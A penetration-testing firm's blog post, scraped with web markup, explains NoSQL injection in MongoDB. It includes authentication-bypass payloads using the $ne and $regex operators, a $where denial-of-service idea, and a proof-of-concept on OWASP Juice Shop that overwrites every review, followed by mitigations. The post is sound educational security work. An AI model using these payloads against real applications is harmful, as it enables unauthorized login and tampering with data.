![](\"https:\/\/varutra-1a3b6.kxcdn.com\/wp-content\/uploads\/2021\/11\/MicrosoftTeams-image-1024x535.png\" "\\"NoSQL")
\nIn this blog, we will be discussing the NoSQL Injection Vulnerability and its exploitations scenarios.<\/p>\n
\nIn this blog, we will be discussing the NoSQL Injection Vulnerability and its exploitations scenarios.<\/p>\n
Before getting into the details of NoSQL injections, let us first see the difference between SQL (Structured Query Language) and NoSQL (Not Only Structured Query Language) databases.<\/p>\n
![\"Comparison](\"https:\/\/www.varutra.com\/wp-content\/uploads\/2021\/11\/Comparison-between-sql-and-no-sql.png\")
\nThere are multiple NoSQL databases available in the market, such as<\/p>\n
Mongo DB stores the document in a JSON object (JavaScript object notation), mainly used for document databases.<\/p>\n
<\/p>\n
The NoSQL injection is a vulnerability that occurs due to improper input validation. It allows attacker users to view or change backend data to which they do not have access. It happens at the application layer, and successfully exploiting this vulnerability could allow an attacker to gain full access to the data present in the database. Also, an attacker could run malicious queries, which could hamper confidentiality, integrity, and availability of data present in the database.<\/p>\n
Now let us explore NoSQL injection in detail. NoSQL injection vulnerability is much similar to the traditional SQL injection vulnerability<\/a>.<\/p>\n NoSQL databases were created to eliminate SQL injection problems in SQL databases and were considered highly secure compared to SQL databases. However, an injection is still possible in the case of NoSQL databases due to misconfiguration and loopholes left open during the development phase. In this blog, we will be focusing specifically on Mongo DB.<\/p>\n <\/p>\n Below mentioned is an example of the simple query used for the authentication process in Mongo DB.<\/p>\n The query shown above is used for authenticating a user. In this query, user input such as username and password is directly used without input validation, thus allowing an attacker to inject data structures such as arrays, etc., mongo DB operators instead of a valid username and password. This data is either sent using JSON object or URL parameter.<\/p>\n Below shown is the expected JSON object by the application:<\/p>\n JSON object after injecting authentication bypass NoSQL payloads:<\/p>\n Request to the mongo DB could be sent in two ways:<\/p>\n In this case, the payload is injected along with parameter names within a data structure like an array containing operators inside it.<\/p>\n Example:<\/p>\n In the case of a JSON object, a payload can be inserted directly into the value field.<\/p>\n Example:<\/p>\n Data such as username, password, secrets, etc., could be easily gathered using the $regex<\/strong> operator.<\/p>\n $regex<\/strong> operator makes use of regular expression using which an attacker could quickly check the length of the data, check if the data starts with a particular character, etc.<\/p>\n Example: In this case, $regex<\/strong> is used to guess the find the length of the password if the username is admin.<\/p>\n Below shown is the simple authentication bypass scenario in which the application is vulnerable to NoSQL injection.<\/p>\n The username is admin, and instead of a password, we are sending JSON object with\u00a0$ne<\/strong>\u00a0operator.\u00a0$ne<\/strong>\u00a0will return true since the password value is not null.<\/p>\n In the backend\u00a0$where<\/strong>\u00a0the operator is used, injecting JavaScript code having infinite while loop as a user-supplied data will result in total CPU power consumption.<\/p>\n For more payloads for exploitation of NoSQL injection vulnerability, do check out this\u00a0link<\/a>.<\/p>\n <\/p>\n NoSQLMap<\/a>\u00a0is an open-source python tool designed for auditing and automating injection attacks. However, there is a default configuration weakness in NoSQL databases and web applications that can be exploited. This procedure is carried out by using NoSQL to clone data or disclose it from the database.<\/p>\n <\/p>\n For the demo purpose, we will be making use of the OWASP juice shop application. In this application, after the authentication, the user is allowed to submit a review for a product. Once the review is submitted, a user only has permission to edit his review, not the other reviews given by other users in the application. For example, in this application, the user has the email id\u00a0test@null<\/span>test.com<\/a>.<\/p>\n POC: User submits a review<\/strong><\/p>\n POC: Edit submitted a review and intercept the request<\/strong><\/p>\n <\/p>\n POC: Intercept the edit request<\/strong><\/p>\n POC: Added NoSQL injection payload in the id parameter<\/strong><\/p>\n POC: All the submitted reviews changed to attacker-supplied review text<\/strong><\/p>\n <\/p>\n <\/p>\n Attackers can now not only extract the data from the database but also execute code in the application. For example, perform denial of service attacks or even take control of the user\u2019s system or server. These attacks are pretty dangerous as the developers often use NoSQL data stores for relational database products, increasing the risk of insecure codes. Therefore, the most optimum way to reduce the dangers of NoSQL attacks is to avoid using uncertain user inputs in the application code.<\/p>\n <\/p>\n <\/p>\n Author,<\/p>\n Gaurish Kauthankar<\/strong><\/p>\n Attack & PenTest Team<\/p>\n Varutra Consulting Pvt. Ltd.<\/p>","protected":false},"excerpt":{"rendered":" In this blog, we will be discussing the NoSQL Injection Vulnerability and its exploitations scenarios. Before getting into the details of NoSQL injections, let us…<\/p>\n","protected":false},"author":4,"featured_media":17826,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"inline_featured_image":false,"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[57,272],"tags":[554,552,553],"aioseo_notices":[],"aioseo_head":"\n\t\t\n\t\n\t\n\t\n\t\n\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\tCommonly used operators in NoSQL Injection Vulnerability<\/u><\/strong><\/h3>\n
\n
db.user_auth.find({Username: username, Password: password});<\/strong><\/em><\/pre>\n{ Username: \u201cusername\u201d, Password: \u201dpassword\u201d }<\/strong><\/em><\/pre>\n{ Username: { $ne: \u201d\u201d }, Password: { $ne: \u201d\u201d } }<\/strong><\/em><\/pre>\n\n
POST \/login HTTP\/1.1 <\/strong><\/em>\r\nHost: target.com <\/strong><\/em>Content-Type: application\/x-www-form-urlencoded<\/strong><\/em>\r\nContent-Length: 27\r\n <\/strong><\/em>\r\nuser=admin&password[$ne]=<\/strong><\/em><\/pre>\n
\n
POST \/login HTTP\/1.1 <\/strong><\/em>\r\nHost: target.com <\/strong><\/em>\r\nContent-Type: application\/json <\/strong><\/em>\r\nContent-Length: 38\u00a0<\/strong><\/em>\r\n\r\n{<\/strong><\/em>\r\n\u201cusername\u201d: \u201cadmin\u201d,<\/strong><\/em>\r\n\u201cPassword\u201d: {'$ne': \u201c\u201d}<\/strong><\/em>\r\n\r\n}\r\n\r\n<\/strong><\/em><\/pre>\nCommon NoSQL Injection Attack Scenarios:<\/u><\/strong><\/h3>\n
\n
POST \/login HTTP\/1.1 <\/strong><\/em>\r\nHost: target.com <\/strong><\/em>\r\nContent-Type: application\/x-www-form-urlencoded <\/strong><\/em>\r\nContent-Length: 27<\/strong><\/em>\r\n\r\nusername[$ne]=admin&password[$regex]=.{5}\u00a0<\/strong><\/em><\/pre>\n\n
POST \/login HTTP\/1.1 <\/strong><\/em>\r\nHost: target.com <\/strong><\/em>\r\nContent-Type: application\/json <\/strong><\/em>\r\nContent-Length: 38\u00a0<\/strong><\/em>\r\n\r\n{\"username\":\"admin\", \"password\": {\"$ne\": null}}<\/strong><\/em><\/pre>\n\n
Automated tools available for detecting and exploiting NoSQL injection vulnerability<\/u><\/strong><\/h3>\n
\n
Demonstration of simple attack scenario by exploiting NoSQL injection vulnerability<\/u><\/strong><\/h3>\n
\n
![\"POC](\"https:\/\/www.varutra.com\/wp-content\/uploads\/2021\/11\/POC-User-submits-a-review.jpg\")
<\/p>\n\n
![\"POC](\"https:\/\/www.varutra.com\/wp-content\/uploads\/2021\/11\/POC-Edit-submitted-review-and-intercept-the-request.jpg\")
<\/p>\n\n
![\"POC](\"https:\/\/www.varutra.com\/wp-content\/uploads\/2021\/11\/POC-Intercept-the-edit-request-1.jpg\")
<\/p>\n\n
![\"POC](\"https:\/\/www.varutra.com\/wp-content\/uploads\/2021\/11\/POC-Added-NoSQL-injection-payload-in-id-parameter.jpg\")
<\/p>\n\n
![\"POC](\"https:\/\/www.varutra.com\/wp-content\/uploads\/2021\/11\/POC-All-the-submitted-review-changed-to-attacker-supplied-review-text.jpg\")
<\/p>\nMitigation<\/u><\/strong><\/h3>\n
\n
Conclusion:<\/u><\/strong><\/h3>\n
References:<\/u><\/strong><\/h3>\n
\n